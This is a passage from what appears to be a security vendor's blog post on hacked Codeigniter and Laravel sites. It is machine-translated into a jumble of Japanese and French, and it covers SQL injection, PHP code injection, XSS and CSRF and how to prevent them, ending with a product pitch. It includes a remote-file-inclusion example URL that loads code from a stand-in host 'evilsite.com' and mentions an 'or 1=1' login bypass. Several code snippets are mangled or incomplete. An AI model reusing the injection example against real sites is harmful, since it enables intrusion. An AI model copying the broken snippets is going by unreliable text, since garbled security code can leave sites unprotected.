ネットワークセキュリティー
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティー

Site Web Codeigniter または Laravel pirate? Codeigniter と Laravel の修正コードの脆弱性

Laravel と Codeigniter は、フレームワークとして PHP を使用し、Web サイトの作成者として使用します。自然界のオープン ソース デ ドゥ フレームワークが人気を博しています。 Cependant, les utilisateurs doivent comprendre que le déploiement de sites utilisant ces frameworks ne les rend pasûrs. Ce sont les pratiques de développement sécurisées qui comptent. L’injection SQL dans Codeigniter et l’injection SQL dans Laravel sont les deux sujets de sécurité les plus courants sur les forums d’aide. En dehors de SQLi, les pratiques de développement riskeuses font également les sites vulnérables aux XSS, CSRF, attaques RFI etc .

Site Web Codeigniter と Laravel の海賊版:例

Des attaques comme l’injection SQL dans Codeigniter ou Laravel peuvent compromettre le site Web. Ces attaques sont assez courantes et répandues.その結果として、un grand nombre d’utilisateurs souffrant d’attaques similaires peuvent être trouvés demandant de l’aide sur le forum de la communauté Laravel ou le forum de la communauté Codeigniter .特定の de ces は sont donnés ci-dessous の例です。

Site Web Codeigniter または Laravel pirate? Codeigniter と Laravel の修正コードの脆弱性 Site Web Codeigniter または Laravel pirate? Codeigniter と Laravel の修正コードの脆弱性

Codeigniter または Laravel Hack の症状

  • Laravel または Codeigniter のフィッシング ページは Web サイトの賢明な情報を提供します。
  • Les utilisateurs se plaignent d’être redirigés vers des sites malveillants.
  • Le contenu de Gibberish apparaît sur le site de Laravel ou Codeigniter en raison du hach​​age de mots-clés japonais ou du hack Pharma など
  • Le site Web de Laravel ou Codeigniter devient très lent et affiche des messages d’erreur.
  • Lors de l’utilisation d’un hébergement tiers, 「Votre compte a été suspendu !」
  • Le site Laravel ou Codeigniter est mis sur liste noire par les moteurs de recherche.
  • Les journaux d’erreurs montrent certaines attaques comme l’injection SQL dans Codeigniter sur le site.
  • Les journaux affichent la connexion au site Web à partir d’adresses IP distancees.
  • De nouveau administrateurs voyous apparaissent dans la base de données de connexion.

Codeigniter または Laravel Hack の原因

1) Codeigniter または Laravel Hack:attaques par Injection

a) インジェクション SQL および Codeigniter または Laravel

L’injection SQL dans Codeigniter est une attaque très courante qui est largement répandue sur le Web. Comme son nom’indique, l’attaque cible la base de données du serverur. Exploitant l’injection SQL dans Codeigniter, l’attaquant peut:

  • Récupérez les données de la base de données.
  • Modifier le contenu de la base de données (comprend la reduction de la base de données entière!)
  • Dans certains cas, obtenir un shell inversé.
  • 認証は、1 =1 で使用されます。

b) コード PHP および Codeigniter / Laravel へのインジェクション

L’injection de code PHP est un autre type de vulnérabilité courante qui permet aux attaquants d’executer du code sur le site Web Laravel / Codeigniter. Cependant, elle diffère de l’injection de commandes dans le sens où l’attaquant ne peut exécuter que les commandes de ce langage particulier. L’injection de commandes permet à un attaquant d’executer des commandes via un shell inversé.例としては、PHP の実行者、サヴォワール https://testsite.com/?page=https://evilsite.com/evilcode.php

Ce fichier peut contenir des fonctions comme phpinfo () qui peuvent être utilisées pour obtenir des information.

2) Codeigniter または Laravel Hack:クロスサイト スクリプティングと Codeigniter / Laravel

La vulnérabilité XSS se produit dans les sites Web Laravel / Codeigniter en raison du manque de nettoyage des entrées. Les deux cadres ont des fonctions de sécurité spécialement conçues pour eviter ces attaques. XSS による悪用攻撃、攻撃者への攻撃:

  • フィッシングの利用者は、Cookie を使用して、セッションの知識を身に付けます。
  • Redirigez les utilisateurs vers un site malveillant.
  • Utilisé pour Contourner la stratégie de même origin.

3) Laravel または Codeigniter Hack:Codeigniter / Laravel でのサイト間要求の改ざん

Cette attaque vise à inciter les utilisateurs à effectuer des actions indesirables. Cependant、ce type d’attaque ne peut être utilisé que pour manipuler les données (suppression de formulaires など) et non pour les voler ou les lire. Dans le pire des cas, si lavictime est l’administrateur, l’application entière peut être détruite. Cette attaque supply des astuces d’ingénierie sociale pour inciter lesvictimes à cliquer sur un lien qui exécute des commandes comme lapression d’un compte en arrière-plan.

Site Web Codeigniter または Laravel pirate? Codeigniter と Laravel の修正コードの脆弱性

サイトの Laravel の海賊版をコード化しますか?. Envoyez-nous un message sur le widget de chat et nous serons heureux de vous aider à résoudre ce problème.イル。修正デモ サイト Web Laravel / Codeigniter pirate .

4) Protéger votre site Web Codeigniter / Laravel

Codeigniter または Laravel Hack:éviter l’injection SQL dans Codeigniter

Codeigniter est livré avec des tonnes de fonctionnalités de sécurité.特定の d’entre eux incluent des fonctions et des bibliothèques pour eviter l’injection SQL dans Codeigniter. Dans cet article, j'expliquerai 3 つの方法論のプリンシパルは、accomplir la tâche une parune を注ぎます。

Codeigniter または Laravel Hack:échapper aux requêtes dans Codeigniter

Échapper les données avant de les soumettre à l’application PHP les désinfecterait. C'est donc une pratique sûre qui doit être suivie régulièrement. Même les requêtes d’échappement peuvent être effectuées via trois method:

<オール>
  • $ this-> db-> エスケープ (): determine le type de données avant de s’échapper
  • $ this-> db-> escape_str (): ne determine pas le type de données, l’échappe simplement.
  • $ this-> db-> escape_like_str (): Peut être utilisé avec des conditions.
  • クラリファイヤーのダバンテージを注ぎ、consultez l’extrait de code ci-dessous.

    <小> $ email =$ this-> input-> post ('email');
    $ query =‘SELECT * FROM subscribers_tbl WHERE user_name =’. $ this-> db-> escape ($ email);
    $ this-> db-> query ($ query);
    ?>

    Dance ce code, la fonction $ this-> db-> escape () determine d’abord le type de données afin d’échapper uniquement les données de chaîne.加えて、il ajoute automatiquement les guillemets simples autour des données d’entrée. Cela empêche l’injection SQL dans Codeigniter.

    Codeigniter または Laravel Hack:requêtes de liaison dans Codeigniter

    Les requêtes de liaison peuvent également simplifier le code en plus de nettoyer lesentrées du site Web Codeigniter. Cette method permet au système de poser des requêtes, réduisant ainsi la complexité pour le développeur.例として、l’extrait de code ci-dessous を考慮してください。

    <小> db-> query ($ sql, array (‘active’, ‘[email protected]’));?>

    Ici, vous pouvez remarquer des points d’interrogation dans la première ligne au lieu de valeurs. En raison de la liaison de requête, ces points d’interrogation sont remplacés à partir des valeurs du tableau sur la deuxième ligne. Dans l’example précédent, nous avons vu une requête manuelle s’échapper, mais ici, cette method l’accomplit automatiquement. De ce fait l’arrêt de l’injection SQL dans Codeigniter.

    Codeigniter または Laravel Hack:Enregistrement de classe active dans Codeigniter

    La fonction d’enregistrements actifs de Codeigniter nous permet d’effectuer des opérations de base de données avec un minimum de lignes de code ou de scripts. Puisqu'il s'agit d'une fonction du système lui-même, l'échappement de la requête se fait automatiquement.たとえば、toutes les données de la table peuvent être récupérées par une simple requête:

    $ query =$ this-> db-> get ('mytable');

    Codeigniter または Laravel Hack:Eviter l’injection SQL dans Laravel

    Le mappage relationship-object de Laravel は、オブジェクトとの連携を利用します。 La liaison de paramètres ajoute également des guillemets automatiquement, empêchant ainsi une entrée demoneuse comme ou 1 =1 コンターナーの認証。

    $ results =DB ::select ('select * from users where id =:id', ['id' => 1]);

    Voici une implémentation d’une requête de liaison nommée dans Laravel.

    Codeigniter または Laravel Hack:éviter les scripts intersites dans Codeigniter

    Pour éviter d’éventuelles attaques XSS, Codeigniter est livré avec un filtre XSS pre-construit. Dans le cas où ce filtre rencontre une demande malveillante, il la convertit en son entité de caractère, protégeant ainsi l’application. la method xss_clean () を介してアクセス可能なフィルター est :

    $ data =$ this-> security-> xss_clean ($ data);

    Cependant, les attaquants peuvent parfois injecter du code malveillant dans les fichiers image. Pour éviter de telles attaques, la sécurité des fichiers téléchargés peut également être vérifiée.例としては、le code donné ci-dessous についてです。

    if ($ this-> security-> xss_clean ($ file, TRUE) ===FALSE)

    {

    // le fichier a échoué au test XSS

    }

    Ce code renverra une valeur booléenne True si l’image est sûre et vice versa. Cependant, il convient de noter ici qu’il est conseillé d’utiliser la method html_escape () si vous souhaitez filtrer les valeurs d’attribut HTML.

    Codeigniter または Laravel Hack:éviter les scripts Cross Site Laravel

    En utilisant une chaîne d’échappement, les attaques XSS peuvent être évitées sur les sites Web de Laravel. Les chaînes d’échappement empêcheront la mise en œuvre d’une entrée non autorisée. Cependant, il est à noter ici que dans les versions Laravel> 5.1, cette fonctionnalité est activée par défaut. Par conséquent, lorsque l’entrée comme ceci:

    {{$ task-> names}}
    est fournie aux versions de Laravel au-dessus de 5.1, l’application ne sera pas vulnérable en raison de l’échappement automatique des requêtes.さらに、XSS と SQLi の特定の型の実用性を追求するための制限があります。 Cela peut être fait via le code HTML donné ci-dessous.

    La même は une fonction JS を介して peut être implémentée を選択しました。 De plus, la syntaxe {% raw%} {{}} {% endraw%} dans Laravel peut par défaut échapper à toutes les entités HTML malveillantes transmises. De plus, certaines bibliothèques sont spécialement conçues pour cette tâche et pourraient être utilisées pour empêcher Laravel XSS. Si vous utilisez un moteur de modèle comme Blade, il utilisera automatiquement l’échappement pour empêcher de telles attaques.

    Codeigniter ou Laravel Hack:empêcher les attaques CSRF dans Codeigniter

    La protection CSRF peut être activée dans Codeigniter en modifiant le fichier application / config / config.php. Ajoutez simplement le code suivant au fichier:

    $ config [‘csrf_protection’] =TRUE;

    Pour les utilisateurs qui utilisent Form Helper, la fonction form_open () peut par défaut insérer un champ de jeton CSRF masqué dans les formulaires. L’autre façon de mettre en œuvre la protection CSRF consiste à utiliser get_csrf_token_name () et get_csrf_hash () . Pour référence, regardez les deux extraits de code ci-dessous d’un formulaire et d’une implémentation côté serveur.

    $ csrf =tableau (

    ‘name’ => $ this-> security-> get_csrf_token_name (),

    ‘hash’ => $ this-> security-> get_csrf_hash ());

    ————————————————– ——————

    ” value =“” />

    La régénération des jetons est également une autre pratique sûre pour empêcher les attaques Codeigniter CSRF. Cependant, la régénération des jetons peut être problématique car les utilisateurs peuvent avoir besoin d’une nouvelle validation après avoir navigué vers d’autres onglets. La régénération de jeton peut être effectuée par le paramètre de configuration suivant:

    $ config [‘csrf_regenerate’] =TRUE;

    Codeigniter ou Laravel Hack:prévenir les attaques CSRF dans Laravel

    Les jetons sont implémentés sous des formes Laravel pour se protéger des attaques CSRF. Ces jetons sont ensuite appelés à l’aide d’un appel AJAX qui peut être trouvé intégré dans chaque formulaire. Les données du jeton de demande sont mises en correspondance avec celles stockées sur le serveur pour la session de l’utilisateur vérifiant les anomalies. Les jetons CSRF peuvent être transmis aux formulaires à l’aide du code suivant ( implémentation des modèles de lame ):

    {!! csrf_field () !!}

    Cependant, le jeton CSRF peut être ajouté par défaut lors de l’utilisation du package LaravelCollective / HTML.

    Codeigniter ou Laravel Hack:Bloquer les rapports d’erreur

    Les erreurs de fichier sont utiles dans l’environnement de développement. Cependant, sur le Web, les erreurs de fichier Codeigniter peuvent divulguer des informations potentiellement sensibles aux attaquants. Par conséquent, il est recommandé de désactiver le rapport d’erreurs.

    Erreurs PHP

    Pour désactiver le rapport d’erreurs PHP, utilisez le fichier index.php. Passez simplement zéro comme argument à la fonction error_reporting (). Regardez l’exemple donné ci-dessous pour référence.

    error_reporting (0);

    Cependant, pour CodeIgniter version 2.0.1 et supérieure, la constante d’environnement dans le fichier index.php peut être définie sur «production» afin de désactiver les sorties d’erreur PHP.

    Erreurs de base de données

    Les erreurs de base de données peuvent être désactivées en modifiant le fichier application / config / database.php. Définissez simplement l’option db_debug sur FALSE. Regardez l’exemple ci-dessous pour référence:

    $ db [‘default’] [‘db_debug’] =FALSE;

    Journalisation des erreurs

    Un moyen intelligent serait de transférer les erreurs survenues dans les fichiers journaux, ce qui les empêcherait de s’afficher. L’option seuil de journalisation du fichier /config/config.php peut être définie sur 1 à cet effet. Regardez l’exemple donné ci-dessous.

    $ config [‘log_threshold’] =1;

    Utiliser un pare-feu d’application Web pour Laravel ou Codeigniter

    Même les experts peuvent manquer certains paramètres qui pourraient rendre le site Laravel / Codeigniter vulnérable. De plus, les attaquants trouvent constamment de nouvelles façons de compromettre votre site. Par conséquent, une autre pratique sécurisée consiste à utiliser un pare – feu ou une solution de sécurité quelconque. Astra est une telle solution de sécurité conçue pour répondre à vos exigences flexibles. Payez uniquement pour ce que vous utilisez. Astra est une solution de sécurité prête à l’emploi avec des tarifs à partir de 9 $ par mois. Envoyez-nous un message et rapprochez-vous de la sécurisation de votre code PHP. Obtenez une démo maintenant!

    Site Web Codeigniter または Laravel pirate? Codeigniter と Laravel の修正コードの脆弱性

    Astra fournit un audit de sécurité complet pour votre site Web Laravel ou Codeigniter avec plus de 80 tests actifs, une bonne combinaison de tests manuels et automatisés.


    1. Google ブラックリストから Web サイトを削除する – WordPress、Magento、PrestaShop、OpenCart、Drupal、Joomla、および PHP の場合

      Google-blacklist-and-how-to-remove ブラックリスト警告 今日、Google はインターネット検索の代名詞となっています。したがって、Google はユーザーをオンラインで安全に保つという大きな責任を負っています。したがって、表示される検索ページでスパムやマルウェアを監視します。さらに、Google は特定のアルゴリズムを使用してインターネットを分析し、定期的に更新しています。各スキャンの後、Web クローラーは危険なものにラベルを付けて分類します。犯人の Web サイトが見つかった場合は、Google によってブラックリストに登録されます。これらのサイトは、

    2. ウェブサイトからバックドアを見つけて削除する方法

      実際には、バックドアは開発者が Web サイトにアクセスする正当な方法として使用することもできます。ただし、バックドアの作成者 (開発者またはハッカー) に関係なく、サイトにセキュリティ リスクをもたらします。 ウェブサイトのバックドアを検出する方法 一般に、Web サイトのバックドアを検出するのは簡単なことではありません。これらのドアは適切なファイルとデータベースの間に非常に巧妙に隠されているからです。簡単なこととは反対に、Web サイトでバックドアを検出することは困難な作業です。なぜなら、ほとんどのバックドアは通常、適切なコードと間違われるからです。そして、それがまさに彼女が注意をかわす